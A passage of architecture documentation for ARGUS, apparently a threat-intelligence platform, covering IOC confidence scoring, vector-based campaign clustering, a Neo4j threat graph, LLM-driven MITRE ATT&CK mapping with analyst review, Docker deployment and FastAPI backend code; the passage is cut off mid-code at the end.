The EnrichmentAgent computes a standardized Composite Confidence Score ((S \in [0.0, 1.0])) for each indicator based on weighted signals:

[
S = \min\left(1.0, \sum_{i=1}^{n} w_i \cdot s_i\right)
]

Scoring Weights Breakdown

Signal Source	Weight ((w_i))	Condition / Formula
VirusTotal	0.35	(\frac{\text{malicious_engines}}{\text{total_engines}})
AlienVault OTX	0.25	(\min\left(1.0, \frac{\text{pulse_count}}{5}\right))
MalwareBazaar	0.20	1.0 if signature matched else 0.0
Shodan / URLhaus	0.10	1.0 if open C2 ports or active host status
Feed Reputation	0.10	Base reliability weight of source feed

Score Classification

High Confidence ((S \ge 0.75)): Automatically escalated to campaign correlation.
Medium Confidence ((0.40 \le S < 0.75)): Normal processing pipeline.
Low Confidence ((S < 0.40)): Marked for observation; low priority.

Extracted from: docs/architecture/04_VECTOR_INDEXING_AND_CAMPAIGN_CLUSTERING.md

Technical Architecture 04: Vector Indexing & Semantic Campaign Clustering 📄

1. Executive Summary

Traditional SIEMs cluster threat indicators using basic static matching (e.g., exact IP subnets or matching domain strings). ARGUS leverages semantic vector embeddings and high-dimensional similarity search via Qdrant Vector Database to automatically identify related IOCs and cluster them into unified threat campaign entities.

2. Embedding Generation (`vector_indexer.py`)

The VectorIndexer (argus/correlation/vector_indexer.py) converts structured enriched IOC metadata into high-dimensional vector representations using PyTorch and Sentence-Transformers.

Model Specs

Model: sentence-transformers/all-MiniLM-L6-v2
Embedding Dimensionality: 384 dimensions
Distance Metric: Cosine Similarity ((\cos(\theta) = \frac{\mathbf{A} \cdot \mathbf{B}}{|\mathbf{A}| |\mathbf{B}|}))

Textual Serialization Strategy

To capture both structural and contextual properties, each IOC is serialized into a rich text prompt prior to vector encoding:

text_representation = f"""
Type: {ioc.type}
Value: {ioc.value}
Malware Family: {ioc.malware_family or 'unknown'}
Tags: {', '.join(ioc.tags)}
ASN: {ioc.asn or 'unknown'}
CVSS: {ioc.cvss_score or 'N/A'}
VirusTotal Tags: {', '.join(ioc.vt_tags)}
"""
vector = embedding_model.encode(text_representation).tolist()

3. Qdrant Vector Database Integration

ARGUS maintains a vector collection named argus_iocs in Qdrant (port 6333):

┌───────────────────────┐         ┌─────────────────────────┐
│   CorrelationAgent    │ ──────▶ │   Qdrant Vector Store   │
│   (VectorIndexer)     │         │   Collection: argus_iocs│
└───────────────────────┘         └─────────────────────────┘
                                                │
                                                ▼
                                   ┌────────────────────────┐
                                   │  384-Dim Vector Index  │
                                   │  HNSW Payload Indexes  │
                                   └────────────────────────┘

Vector Payload Schema

In addition to the 384-dim vector, each Qdrant point stores payload metadata for fast filtering without SQL joins:

ioc_id: PostgreSQL UUID string
type: ipv4, domain, hash, etc.
campaign_id: Associated campaign UUID (if already assigned)
confidence: Composite confidence score
created_at: ISO timestamp

4. Autonomous Campaign Clustering & Merging Protocol

When CorrelationAgent receives an enriched IOC from stream:enriched_iocs:

                       Enriched IOC
                            │
                            ▼
               Generate 384-dim Embedding
                            │
                            ▼
              Qdrant Cosine Similarity Search
                            │
             ┌──────────────┴──────────────┐
             ▼                             ▼
   Max Similarity >= 0.55        Max Similarity < 0.55
             │                             │
             ▼                             ▼
  Merge into Existing Campaign     Create New Threat Campaign

Algorithm Breakdown

Similarity Query: Query Qdrant for top-5 nearest neighbor IOC vectors.
Threshold Evaluation:
- Environment setting: CAMPAIGN_MERGE_SIMILARITY_THRESHOLD = 0.55.
- If similarity >= 0.55: The incoming IOC is merged into the existing target campaign.
- If similarity < 0.55: A new campaign cluster is created in PostgreSQL and Neo4j.
Campaign Aggregation Update:
- Recalculate campaign total ioc_count.
- Update campaign last_activity timestamp.
- Re-evaluate dominant malware_family tag across cluster members.
- Recalculate campaign aggregate confidence score.

5. Indicator Time Decay Engine (`ioc_decay.py`)

Threat indicators deteriorate in relevance over time (e.g., command-and-control IP addresses are abandoned by attackers). ARGUS implements an automated decay engine (ioc_decay.py):

Half-Life Exponential Decay Formula

[
C(t) = C_0 \cdot e^{-\lambda t}
]

(C_0): Initial confidence score.
(t): Time elapsed in days since last sighting.
(\lambda): Decay constant ((\lambda = \frac{\ln(2)}{T_{half}})). Default half-life (T_{half} = 14) days.

If an indicator's decayed score drops below (0.20), it is marked as inactive in PostgreSQL and purged from active Qdrant search indices to maintain high precision.

Extracted from: docs/architecture/05_GRAPH_DATABASE_AND_INFRASTRUCTURE_MAPPING.md

Technical Architecture 05: Graph Database Architecture & Infrastructure Mapping 📄

1. Executive Summary

While relational databases excel at transactional records and vector stores at similarity matching, understanding complex multi-hop adversary infrastructure requires a Graph Database. ARGUS integrates Neo4j 5 (neo4j_client.py) to map relationships between IOCs, Threat Campaigns, Malware Families, and MITRE ATT&CK Techniques.

2. Neo4j Graph Model Schema

ARGUS structures its threat graph around 5 primary Node labels and 5 Relationship types:

 (ThreatActor) ──[SPONSORS]──▶ (Campaign) ──[USES_TECHNIQUE]──▶ (AttackTechnique)
                                   │
                              [HAS_IOC]
                                   │
                                   ▼
  (IOC:Domain) ──[RESOLVES_TO]──▶ (IOC:IP) ──[HOSTS_PAYLOAD]──▶ (Malware)

Node Labels & Attributes

Node Label	Attributes	Description
`:IOC`	`id`, `type`, `value`, `confidence`, `first_seen`	Individual threat indicators (IP, Hash, Domain)
`:Campaign`	`id`, `name`, `malware_family`, `ioc_count`	Aggregated threat campaign entity
`:ThreatActor`	`id`, `name`, `aliases`, `country_origin`	Known APT groups or adversary collectives
`:AttackTechnique`	`id`, `name`, `t_code`, `tactics`	MITRE ATT&CK technique (e.g., `T1566.001`)
`:Malware`	`id`, `name`, `family`, `type`	Identified malware payload or strain

Relationship Types

(:IOC)-[:BELONGS_TO]->(:Campaign)
(:IOC)-[:RESOLVES_TO]->(:IOC)
(:Campaign)-[:USES_TECHNIQUE]->(:AttackTechnique)
(:Campaign)-[:ASSOCIATED_WITH]->(:ThreatActor)
(:IOC)-[:HOSTS_MALWARE]->(:Malware)

3. Cypher Query Patterns & Execution

The Neo4j client wrapper (neo4j_client.py) encapsulates graph transaction queries using the async Python driver neo4j.AsyncGraphDatabase.

1. Upserting IOC & Campaign Link

MERGE (c:Campaign {id: $campaign_id})
ON CREATE SET c.name = $campaign_name, c.created_at = datetime()
MERGE (i:IOC {id: $ioc_id})
ON CREATE SET i.type = $ioc_type, i.value = $ioc_value, i.confidence = $confidence
MERGE (i)-[r:BELONGS_TO]->(c)
ON CREATE SET r.created_at = datetime()

2. Traversing Campaign Graph for API & Dashboard

MATCH (c:Campaign {id: $campaign_id})<-[:BELONGS_TO]-(i:IOC)
OPTIONAL MATCH (c)-[:USES_TECHNIQUE]->(t:AttackTechnique)
OPTIONAL MATCH (i)-[:HOSTS_MALWARE]->(m:Malware)
RETURN c, collect(DISTINCT i) as iocs, collect(DISTINCT t) as techniques, collect(DISTINCT m) as malware

4. Kill-Chain Timeline Extraction

The ThreatNarrativeAgent uses graph path traversal to reconstruct chronological attack timelines:

MATCH path = (c:Campaign {id: $campaign_id})<-[:BELONGS_TO]-(i:IOC)
RETURN i.first_seen AS timestamp, i.type AS ioc_type, i.value AS ioc_value
ORDER BY i.first_seen ASC

By ordering graph nodes along their first_seen timestamps, ARGUS converts unordered raw events into a step-by-step kill-chain sequence (e.g., Domain Registration (\rightarrow) Phishing URL Deployment (\rightarrow) C2 IP Callback (\rightarrow) Malware Hash Execution).

5. Visualizing Graphs in Dashboard

The FastAPI backend exposes graph data via GET /campaigns/{id}/graph, returning a JSON structure compatible with graph rendering libraries:

{
  "nodes": [
    {"id": "camp-123", "label": "Campaign", "name": "Operation Cobalt"},
    {"id": "ioc-456", "label": "IOC", "value": "198.51.100.45", "type": "ipv4"},
    {"id": "tech-789", "label": "AttackTechnique", "name": "Spearphishing Attachment", "t_code": "T1566.001"}
  ],
  "links": [
    {"source": "ioc-456", "target": "camp-123", "type": "BELONGS_TO"},
    {"source": "camp-123", "target": "tech-789", "type": "USES_TECHNIQUE"}
  ]
}

This response directly powers the interactive graph visualizer on the campaign detail page.

Extracted from: docs/architecture/06_LLM_MITRE_ATTACK_MAPPING_ENGINE.md

Technical Architecture 06: LLM-Powered MITRE ATT&CK Mapping Engine 📄

1. Executive Summary

Mapping technical indicators to the MITRE ATT&CK Framework (v15) requires semantic reasoning over observed threat behavior. The MITREMappingAgent leverages Large Language Models (LLMs) via Groq (LLaMA-3.1 8B/70B) or local Ollama backends to automatically analyze campaign patterns, identify sub-techniques, and generate confidence-weighted annotations.

2. LLM Router Architecture (`argus/llm/`)

ARGUS abstracts LLM interactions through a provider router pattern (argus/llm/router.py):

                       ┌─────────────────────────┐
                       │       LLMRouter         │
                       └────────────┬────────────┘
                                    │ Model Routing
             ┌──────────────────────┴──────────────────────┐
             ▼                                             ▼
  ┌─────────────────────┐                       ┌─────────────────────┐
  │     Groq Client     │                       │    Ollama Client    │
  │ (LLaMA-3.1-8B/70B)  │                       │   (Local Fallback)  │
  └─────────────────────┘                       └─────────────────────┘

Supported Inference Providers

Groq Cloud API (groq_client.py):
- Primary provider for production inference.
- Models: llama-3.1-70b-versatile (deep reasoning) and llama-3.1-8b-instant (high throughput).
- High speed (~300 tokens/sec) via Groq LPU hardware acceleration.
Ollama Engine (ollama_client.py):
- Air-gapped / offline fallback client querying local instances (http://localhost:11434).

3. Prompt Engineering & Jinja2 Templates

Prompts are structured as external Jinja2 templates under argus/llm/prompts/:

mitre_mapping.j2: Main prompt template instructing the LLM to analyze IOCs and return structured JSON mappings against the MITRE ATT&CK v15 matrix.
self_critique.j2: Secondary prompt for reflection and verification of proposed technique matches.

Template Injection Flow

template = jinja_env.get_template("mitre_mapping.j2")
prompt = template.render(
    campaign_name=campaign.name,
    malware_family=campaign.malware_family,
    iocs=formatted_iocs,
    mitre_reference=mitre_v15_summary
)

4. Structured JSON Output Enforcement

To ensure programmatic parsability without crashing downstream JSON parsers, LLM calls enforce strict JSON formatting instructions:

{
  "techniques": [
    {
      "technique_id": "T1566.001",
      "technique_name": "Spearphishing Attachment",
      "tactic": "Initial Access",
      "confidence": 0.88,
      "reasoning": "Observed malicious email attachments hosting executable payloads matching URLhaus signatures."
    },
    {
      "technique_id": "T1071.001",
      "technique_name": "Web Protocols",
      "tactic": "Command and Control",
      "confidence": 0.92,
      "reasoning": "C2 communications routed over HTTP/HTTPS to known malware distribution domains."
    }
  ]
}

5. Self-Critique & Validation Loop

Before committing techniques to the database, the agent executes a Self-Critique Cycle (self_critique.j2):

Initial Generation: LLM proposes a list of MITRE technique candidate IDs.
Critique Prompt: The proposal is re-submitted to the LLM with instructions: > "Review these technique mappings against the provided evidence. Are any mappings based on weak assumptions? Remove false positives."
Filtering: Mappings failing the self-critique phase are pruned automatically.

6. Community Review Escalation Queue

ARGUS enforces a safety threshold (CONFIDENCE_ESCALATION_THRESHOLD = 0.65):

Mappings with confidence score (\ge 0.65) are approved and written to Neo4j and PostgreSQL.
Mappings with confidence score (< 0.65) are flagged as pending_review and routed to the Community Review Queue (/reviews) for human analyst verification.

Analysts can approve, reject, or edit proposed technique mappings directly from the dashboard UI.

Extracted from: docs/architecture/07_NARRATIVE_GENERATION_PREDICTION_AND_FEEDBACK.md

Technical Architecture 07: Narrative Generation, Predictive Intelligence & Self-Validation Loop 📄

1. Executive Summary

Threat intelligence must be actionable for decision-makers as well as technical defenders. The ThreatNarrativeAgent, FeedbackLearningAgent, and PredictionValidator collaborate to generate executive-ready threat reports, predict an adversary's next attack move, and continuously evaluate prediction accuracy against observed real-world telemetry.

2. Threat Narrative Generation (`threat_narrative.py`)

When MITRE ATT&CK techniques are mapped to a campaign, ThreatNarrativeAgent (argus/agents/threat_narrative.py) compiles campaign context, graph timelines, and enriched IOC lists into a structured prompt using threat_narrative.j2.

┌───────────────────────────┐
│ Campaign Metadata         │
│ Graph Timeline (Neo4j)    │ ──▶ ThreatNarrativeAgent ──▶ Groq LLaMA-3.1 70B
│ MITRE ATT&CK Annotations  │
└───────────────────────────┘
                                                                  │
                                                                  ▼
                                                      ┌─────────────────────────┐
                                                      │ Executive Summary       │
                                                      │ Technical Deep-Dive     │
                                                      │ Recommended Mitigations │
                                                      └─────────────────────────┘

PDF Report Compilation Engine (`reporting/`)

ARGUS generates publication-ready PDF threat reports using ReportLab and Jinja2 HTML templates (report_pdf.html.j2):

Header Section: Executive summary, risk score, primary malware family, first/last seen timestamps.
Infrastructure Breakdown: Table of associated IP addresses, domains, and cryptographic hashes with confidence metrics.
MITRE Matrix Heatmap Table: Mapped tactics and technique codes.
Recommended Mitigations & Actionable Defense Rules: Automatically generated Sigma rules (sigma_rule.yaml.j2) and Snort signatures.

Reports are accessible via API: GET /reports/{id}/pdf.

3. Predictive Threat Intelligence Engine (`prediction.j2`)

Traditional security systems are purely reactive. ARGUS introduces Predictive Cyber Kill-Chain Analysis by analyzing an active campaign's progress along the 7 stages of the Cyber Kill Chain:

[1. Reconnaissance] ──▶ [2. Weaponization] ──▶ [3. Delivery] ──▶ [4. Exploitation] ──▶ [5. Installation] ──▶ [6. C2] ──▶ [7. Exfiltration]

Prediction Prompt (`prediction.j2`)

The LLM evaluates observed techniques and infrastructure to predict the adversary's next probable phase:

{
  "prediction": {
    "current_stage": "Command and Control",
    "predicted_next_stage": "Actions on Objectives / Exfiltration",
    "target_asset_types": ["Database Server", "Domain Controller"],
    "predicted_techniques": ["T1041 - Exfiltration Over C2 Channel"],
    "confidence": 0.82,
    "recommended_proactive_controls": [
      "Isolate internal subnet 10.0.4.0/24",
      "Block outgoing traffic on non-standard ports to target C2 IPs"
    ]
  }
}

4. Ground-Truth Self-Validation Loop

To prevent AI hallucination and ensure long-term reliability, predictions are submitted to an autonomous Ground-Truth Self-Validation Loop:

 ┌────────────────────────┐
 │  AI Next-Phase         │
 │  Attack Prediction     │
 └───────────┬────────────┘
             │ Saved to DB
             ▼
 ┌────────────────────────┐       Real-Time Incoming telemetry
 │  PredictionValidator   │ ◀───────────────────────────────────
 └───────────┬────────────┘
             │ Evaluates Outcome (30-day window)
             ▼
 ┌────────────────────────┐
 │ FeedbackLearningAgent  │ ──▶ Adjust Confidence Weights & Prompts
 └────────────────────────┘

Validation Workflow

Storage: When a prediction is generated, it is stored in predictions table with status pending.
Monitoring: PredictionValidator (prediction_validator.py) monitors new incoming IOCs over a 30-day window.
Evaluation: If incoming indicators for the campaign match predicted techniques or infrastructure types:
- Status updated to validated_true (True Positive).
- If 30 days elapse without matching activity, status updated to validated_false (False Positive).

5. Feedback Learning Agent (`feedback_learning.py`)

The FeedbackLearningAgent (feedback_learning.py) analyzes historical validation metrics:

[
\text{Precision} = \frac{\text{True Positives}}{\text{True Positives} + \text{False Positives}}
]

Dynamic Adjustments

High Precision (> 0.85): Increases confidence weights for matching LLM prompt configurations.
Low Precision (< 0.60): Automatically tightens similarity thresholds and adjusts temperature parameters for Groq LLM queries.
Audit Logs: Generates performance metric breakdowns displayed in the Leaderboard dashboard (/leaderboard).

Part 3: Infrastructure & Backend

Extracted from: docs/architecture/08_FASTAPI_BACKEND_AND_REALTIME_STREAMING.md

Technical Architecture 08: FastAPI Backend & Real-Time Streaming 📄

1. Executive Summary

The ARGUS API server (argus/api/main.py) is built on FastAPI and Python 3.11+, providing a high-performance, asynchronous RESTful interface alongside a real-time WebSocket live stream. It acts as the central control gateway for the web dashboard, third-party SIEM integrations, and administrative tools.

2. API Architecture & Modular Routers

The API layer uses FastAPI APIRouter modularization under argus/api/routers/:

argus/api/
├── main.py                # FastAPI Application Entrypoint & Middleware
├── auth.py                # Authentication Logic & Key Validation
├── rate_limiter.py        # API Rate Limiter
└── routers/
    ├── api_v1.py          # Primary IOC & Campaign Data Endpoints
    ├── auth.py            # User Login & JWT Token Management
    ├── account.py         # Account Management & User API Keys
    ├── settings.py        # System Configuration & API Key Generation
    ├── geo.py             # Geolocation Heatmap Endpoints
    ├── metrics.py         # Summary & Time-Series Analytics
    ├── community.py       # Community Review & Feedback Submission
    ├── reviews.py         # MITRE Annotation Review Management
    ├── sigma.py           # Automated Sigma Rule Generation
    ├── export.py          # STIX 2.1 & PDF Download Handlers
    ├── leaderboard.py     # AI Model Performance Metrics
    └── demo.py            # Live Pipeline Simulation Data Generator

3. Database Persistence & Async SQLAlchemy

Data persistence is managed using PostgreSQL 16 with asyncpg drivers and SQLAlchemy 2.0 ORM models (argus/models/):

┌─────────────────────┐         ┌─────────────────────────┐
│ FastAPI Request     │ ──────▶ │ Async SQLAlchemy 2.0    │
│ Handler             │         │ Connection Pool         │
└─────────────────────┘         └────────────┬────────────┘
                                             │
                                             ▼
                                ┌─────────────────────────┐
                                │ PostgreSQL 16 DB        │
                                │ (Tables: iocs,          │
                                │  campaigns, reports...) │
                                └─────────────────────────┘

Key Database Models

IOCModel: Core indicator record with confidence scores, sighting counts, and JSONB enrichment payloads.
CampaignModel: Threat campaign cluster aggregates.
ReportModel: Generated executive narratives and prediction records.
AgentStateModel: Heartbeat and telemetry tracker for all 7 Celery agents.
User / APIKey: Multi-tenant user accounts and hashed API keys.

4. Multi-Tier Authentication System

ARGUS implements a robust multi-tiered authentication security architecture (auth.py):

┌────────────────────────────────────────────────────────────────────────┐
│                        ARGUS AUTHENTICATION HIERARCHY                  │
└────────────────────────────────────────────────────────────────────────┘

 1. Master API Key        Passed via `ARGUS_API_KEY` in `.env`
                          Full system admin permissions.

 2. Account API Keys      Generated in UI (`argus_<hex32>`)
                          Stored as SHA-256 hashes in DB.
                          Per-user tracking for CI/CD & integrations.

 3. JWT Bearer Tokens     Issued upon `/auth/login` HTTP POST.
                          Used for React Dashboard sessions (12hr expiry).

Authentication Header Formats

Clients pass credentials using standard headers:

X-API-Key: argus_a1b2c3d4...
Authorization: Bearer <jwt_token_string>

5. Real-Time WebSockets (`/ws/live-feed`)

To stream incoming IOCs directly to the frontend without polling overhead, FastAPI manages a WebSocket connection pool:

@app.websocket("/ws/live-feed")
async def websocket_endpoint(websocket: WebSocket):
    await manager.connect(websocket)
    try:
        while True:
            # Broadcast incoming enriched IOCs from Redis Stream
            data = await redis_pubsub.get_message()
            if data:
                await websocket.send_json(data)
    except WebSocketDisconnect:
        manager.disconnect(websocket)

6. Observability: Prometheus & Grafana

ARGUS exposes operational metrics via Prometheus format at GET /metrics (monitoring/):

argus_iocs_ingested_total{feed="..."}: Counter of ingested indicators per source feed.
argus_campaigns_created_total: Counter of generated threat campaigns.
argus_enrichment_latency_seconds: Histogram of external enrichment API response times.
argus_agent_heartbeat_timestamp{agent="..."}: Gauge of agent heartbeat timestamps.

Prometheus scrapes these metrics every 15 seconds, driving pre-configured Grafana operational dashboards (port 3000).

Extracted from: docs/architecture/10_DEVOPS_DOCKER_AND_INFRASTRUCTURE.md

Technical Architecture 10: DevOps, Docker Deployment & Operational Readiness 📄

1. Executive Summary

ARGUS is built to be a self-contained, enterprise-grade cloud platform. It can be deployed in under 2 minutes using Docker Compose across local development, resource-constrained environments, or production Kubernetes/VM deployments.

2. Docker Service Topology

The ARGUS stack consists of 11 interconnected containers coordinated via docker-compose.yml:

                               ┌──────────────────────┐
                               │  Frontend Container  │
                               │  (Nginx SPA - :5173) │
                               └──────────┬───────────┘
                                          │ HTTP / WS
                                          ▼
                               ┌──────────────────────┐
                               │    API Container     │
                               │   (FastAPI - :8000)  │
                               └──────────┬───────────┘
                                          │
       ┌──────────────────┬───────────────┼───────────────┬──────────────────┐
       ▼                  ▼               ▼               ▼                  ▼
┌──────────────┐   ┌──────────────┐┌──────────────┐┌──────────────┐  ┌──────────────┐
│  Redis 7     │   │ Postgres 16  ││  Qdrant 1.9  ││   Neo4j 5    │  │ Prometheus   │
│  Broker/Cache│   │ Relational   ││  Vector Store││   Graph DB   │  │ Metrics      │
└──────────────┘   └──────────────┘└──────────────┘└──────────────┘  └──────────────┘
       │
       ├──────────────────┬──────────────────┐
       ▼                  ▼                  ▼
┌──────────────┐   ┌──────────────┐   ┌──────────────┐
│ Celery Worker│   │ Celery Beat  │   │   Grafana    │
│ Agent Fleet  │   │ Scheduler    │   │  Dashboards  │
└──────────────┘   └──────────────┘   └──────────────┘

Complete Service Specification

Container Service	Base Image	Exposed Port	Internal Role
`frontend`	`node:20-alpine` / `nginx:alpine`	`5173`	React SPA static web server
`api`	`python:3.11-slim`	`8000`	FastAPI REST & WebSocket server
`redis`	`redis:7-alpine`	`6379`	Message stream broker & dedup cache
`postgres`	`postgres:16-alpine`	`5432`	Primary transactional relational storage
`qdrant`	`qdrant/qdrant:v1.9.0`	`6333` / `6334`	384-dimensional vector similarity store
`neo4j`	`neo4j:5-community`	`7474` / `7687`	Cypher threat graph database
`celery_worker`	`python:3.11-slim`	N/A	Multi-agent task execution pool
`celery_beat`	`python:3.11-slim`	N/A	Periodic cron task scheduler
`prometheus`	`prom/prometheus:latest`	`9090`	Metrics scraping collector
`grafana`	`grafana/grafana:latest`	`3000`	Operational monitoring dashboards

3. Compose Deployment Configurations

ARGUS provides specialized Docker Compose override files for diverse deployment requirements:

## Standard Local Development 📄
docker compose up -d

## 1. Low-Memory Overrides (Low-spec VPS / 4GB RAM hosts) 📄
docker compose -f docker-compose.yml -f docker-compose.low-memory.yml up -d

## 2. Production Overrides (Closed ports, hardened secrets, no reload) 📄
docker compose -f docker-compose.yml -f docker-compose.prod.yml up -d

## 3. TLS / HTTPS Overrides (Traefik / Nginx reverse proxy) 📄
docker compose -f docker-compose.yml -f docker-compose.tls.yml up -d

Low-Memory Profile Features (`docker-compose.low-memory.yml`)

Caps Java heap memory for Neo4j (NEO4J_dbms_memory_heap_initial__size=256m).
Disables Prometheus/Grafana monitoring containers.
Reduces Celery worker concurrency from 8 to 2 processes.

4. Environment Variables & Secret Hierarchy (`.env`)

System parameters are configured through standard environment files (.env.example):

## Master Authentication Key 📄
ARGUS_API_KEY=argus_master_key_secure_random_string

## External Intelligence API Keys 📄
GROQ_API_KEY=gsk_...
VIRUSTOTAL_API_KEY=...
OTX_API_KEY=...
THREATFOX_API_KEY=...

## Operational Thresholds 📄
CAMPAIGN_MERGE_SIMILARITY_THRESHOLD=0.55
CONFIDENCE_ESCALATION_THRESHOLD=0.65
GROQ_TOKEN_BUDGET_PER_MINUTE=12000

## Database Passwords & Credentials 📄
POSTGRES_USER=argus
POSTGRES_PASSWORD=secure_postgres_pass
POSTGRES_DB=argus_db
REDIS_PASSWORD=secure_redis_pass
NEO4J_AUTH=neo4j/secure_neo4j_pass

5. Database Migration Management (Alembic)

Database schema evolution is managed via Alembic under alembic/:

## Generate a new migration script after changing SQLAlchemy models 📄
alembic revision --autogenerate -m "add_threat_actor_table"

## Upgrade database to latest schema version 📄
alembic upgrade head

Container startup scripts (startup.sh) automatically execute alembic upgrade head before booting the API server to guarantee schema synchronization.

6. Automation & Maintenance Targets (`Makefile`)

The root Makefile provides standard short-hand commands:

up:
    docker compose up -d --build

up-low-mem:
    docker compose -f docker-compose.yml -f docker-compose.low-memory.yml up -d

up-prod:
    docker compose -f docker-compose.yml -f docker-compose.prod.yml up -d

down:
    docker compose down

test:
    pytest tests/ -v --cov=argus

lint:
    ruff check argus/ tests/

typecheck:
    mypy argus/

backup:
    ./scripts/backup_db.sh

7. Production Hardening Checklist

[x] Database ports (5432, 6379, 6333, 7687) closed to public interface in docker-compose.prod.yml.
[x] API key passwords generated using CSPRNG (secrets.token_urlsafe(32)).
[x] Reverse Proxy / TLS termination configured via Nginx / Traefik.
[x] Read-only filesystem volumes mounted for static application code.
[x] Stream rate limiters active to prevent external DDoS vectors.

Extracted from: docs/12_BACKEND_EXTENSIONS.md

ARGUS Backend Extensions 📄

API endpoints, WebSockets, and SQL required for the React Frontend

2.1 — WebSocket Implementation for Live Feed

The React frontend requires a real-time stream of IOCs as they are ingested by the pipeline. This is implemented via FastAPI WebSockets.

File: `argus/api/websockets.py`

from fastapi import APIRouter, WebSocket, WebSocketDisconnect
import asyncio
import json
import logging
from typing import Set

log = logging.getLogger(__name__)
ws_router = APIRouter()

class ConnectionManager:
    def __init__(self):
        self.active_connections: Set[WebSocket] = set()

    async def connect(self, websocket: WebSocket):
        await websocket.accept()
        self.active_connections.add(websocket)
        log.info(f"Client connected. Total clients: {len(self.active_connections)}")

    def disconnect(self, websocket: WebSocket):
        self.active_connections.discard(websocket)
        log.info(f"Client disconnected. Total clients: {len(self.active_connections)}")

    async def broadcast(self, message: str):
        if not self.active_connections:
            return

        disconnected = set()
        for connection in self.active_connections:
            try:
                await connection.send_text(message)
            except RuntimeError:
                # Connection was closed
                disconnected.add(connection)

        for conn in disconnected:
            self.disconnect(conn)

manager = ConnectionManager()

@ws_router.websocket("/ws/live-feed")
async def live_feed_endpoint(websocket: WebSocket):
    await manager.connect(websocket)
    try:
        while True:
            # We just need to keep the connection open and respond to pings
            # The actual data broadcasting is handled by the Redis stream listener
            data = await websocket.receive_text()
            if data == "ping":
                await websocket.send_text(json.dumps({"event": "pong"}))
    except WebSocketDisconnect:
        manager.disconnect(websocket)

Redis Stream Listener Background Task

To broadcast new IOCs, we need a background task that listens to stream:enriched_iocs (or stream:raw_iocs if we want them faster, before enrichment. The frontend spec asks for malware_family and confidence, which are only available after enrichment. Therefore, listen to stream:enriched_iocs).

Add this to argus/api/main.py lifespan:

import asyncio
from argus.api.websockets import manager
from argus.config import settings
import redis.asyncio as redis

async def listen_for_iocs():
    """Background task to listen to Redis and broadcast to WebSockets"""
    client = redis.from_url(settings.redis_url)
    last_id = "$" # Only get new messages from now on

    while True:
        try:
            # Block for up to 1 second waiting for new messages
            messages = await client.xread(
                {"stream:enriched_iocs": last_id}, 
                count=10, 
                block=1000
            )

            for stream, stream_messages in messages:
                for message_id, message_data in stream_messages:
                    last_id = message_id

                    # Ensure we have clients before parsing
                    if not manager.active_connections:
                        continue

                    payload = json.loads(message_data.get(b"payload", b"{}").decode("utf-8"))

                    # Format for the frontend
                    ws_message = {
                        "event": "new_ioc",
                        "data": {
                            "ioc_id": payload.get("ioc_id"),
                            "ioc_type": payload.get("ioc_type"),
                            "value": payload.get("value"),
                            "source_feed": payload.get("source_feed"),
                            "confidence_score": payload.get("confidence_score", 0.5),
                            "malware_family": payload.get("malware_family"),
                            "ingested_at": payload.get("ingested_at")
                        }
                    }

                    await manager.broadcast(json.dumps(ws_message))

        except asyncio.CancelledError:
            break
        except Exception as e:
            log.error(f"Error in websocket listener: {e}")
            await asyncio.sleep(5) # Backoff on error

    await client.aclose()

2.2 — New REST Endpoints

1. `GET /api/iocs`

Purpose: Fetch recent IOCs for the Live Feed fallback mechanism.

@router.get("/iocs")
async def get_iocs(
    ioc_type: str = None,
    source_feed: str = None,
    since: datetime = None,
    limit: int = 50,
    offset: int = 0,
    db: AsyncSession = Depends(get_db)
):
    query = select(IOC).order_by(desc(IOC.ingested_at))

    if ioc_type:
        query = query.where(IOC.ioc_type == ioc_type)
    if source_feed:
        query = query.where(IOC.source_feed == source_feed)
    if since:
        query = query.where(IOC.ingested_at > since)

    # Get total count
    count_query = select(func.count()).select_from(query.subquery())
    total = await db.scalar(count_query)

    # Get paginated data
    query = query.limit(limit).offset(offset)
    result = await db.execute(query)
    iocs = result.scalars().all()

    return {
        "iocs": iocs,
        "total": total,
        "limit": limit,
        "offset": offset
    }

2. `GET /api/campaigns` and `GET /api/campaigns/{id}`

Purpose: Campaign Explorer list and detail views.

@router.get("/campaigns")
async def get_campaigns(limit: int = 50, offset: int = 0, db: AsyncSession = Depends(get_db)):
    query = select(Campaign).order_by(desc(Campaign.last_seen))

    count_query = select(func.count(Campaign.campaign_id))
    total = await db.scalar(count_query)

    query = query.limit(limit).offset(offset)
    result = await db.execute(query)
    campaigns = result.scalars().all()

    return {"campaigns": campaigns, "total": total}

@router.get("/campaigns/{campaign_id}")
async def get_campaign(campaign_id: UUID, db: AsyncSession = Depends(get_db)):
    # Load campaign with its IOCs and the latest prediction
    query = select(Campaign).options(
        selectinload(Campaign.iocs)
    ).where(Campaign.campaign_id == campaign_id)

    result = await db.execute(query)
    campaign = result.scalar_one_or_none()

    if not campaign:
        raise HTTPException(status_code=404, detail="Campaign not found")

    # Get the latest prediction separately to avoid complex joins
    pred_query = select(Prediction).where(
        Prediction.campaign_id == campaign_id
    ).order_by(desc(Prediction.created_at)).limit(1)

    pred_result = await db.execute(pred_query)
    prediction = pred_result.scalar_one_or_none()

    campaign_dict = {
        **campaign.__dict__,
        "prediction": prediction
    }
    campaign_dict.pop("_sa_instance_state", None)

    return campaign_dict

3. `GET /api/campaigns/{id}/graph`

Purpose: Graph Viewer data source.

@router.get("/campaigns/{campaign_id}/graph")
async def get_campaign_graph(campaign_id: UUID, db: AsyncSession = Depends(get_db)):
    # 1. Fetch the campaign
    campaign_result = await db.execute(select(Campaign).where(Campaign.campaign_id == campaign_id))
    campaign = campaign_result.scalar_one_or_none()

    if not campaign:
        raise HTTPException(status_code=404, detail="Campaign not found")

    # 2. Fetch all IOCs belonging to this campaign
    ioc_result = await db.execute(
        select(IOC).where(IOC.campaign_id == campaign_id)
    )
    iocs = ioc_result.scalars().all()

    nodes = []
    edges = []

    # 3. Create the central Campaign node
    camp_node_id = f"camp_{campaign_id}"
    nodes.append({
        "id": camp_node_id,
        "type": "campaignNode",
        "data": {
            "label": str(campaign_id)[:8],
            "ioc_count": campaign.ioc_count
        },
        "position": {"x": 0, "y": 0} # Handled by dagre client-side
    })

    # 4. Create IOC nodes and link them to the campaign
    for ioc in iocs:
        node_id = f"ioc_{ioc.ioc_id}"
        nodes.append({
            "id": node_id,
            "type": "iocNode",
            "data": {
                "label": ioc.value,
                "ioc_type": ioc.ioc_type,
                "confidence": ioc.confidence_score,
                "malware_family": ioc.malware_family,
                "asn_org": ioc.geo_asn_org
            },
            "position": {"x": 0, "y": 0}
        })

        edges.append({
            "id": f"edge_{camp_node_id}_{node_id}",
            "source": camp_node_id,
            "target": node_id,
